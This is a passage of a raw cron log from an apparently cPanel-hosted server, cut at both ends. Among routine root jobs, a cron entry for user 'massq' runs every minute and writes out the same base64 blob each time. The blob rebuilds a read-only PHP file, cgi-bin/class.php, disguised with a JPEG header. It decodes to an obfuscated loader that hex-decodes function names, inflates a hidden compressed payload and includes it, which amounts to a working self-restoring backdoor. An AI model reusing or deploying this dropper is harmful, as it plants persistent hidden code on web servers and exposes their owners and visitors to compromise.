"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:29:01 server CROND[32309]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:30:02 server CROND[32374]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 18:30:02 server CROND[32375]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:30:02 server CROND[32376]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 18:30:02 server CROND[32377]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 18:31:01 server CROND[32596]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:32:01 server CROND[32652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:33:01 server CROND[32729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:34:01 server CROND[356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:35:01 server CROND[421]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 12 18:35:01 server CROND[423]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 18:35:01 server CROND[424]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 18:35:01 server CROND[427]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 18:35:01 server CROND[425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:36:01 server CROND[560]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:37:01 server CROND[720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:38:01 server CROND[788]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:39:01 server CROND[860]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 18:39:01 server CROND[861]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:40:01 server CROND[931]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 18:40:01 server CROND[934]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 18:40:01 server CROND[935]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 18:40:01 server CROND[936]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:41:01 server CROND[1053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOL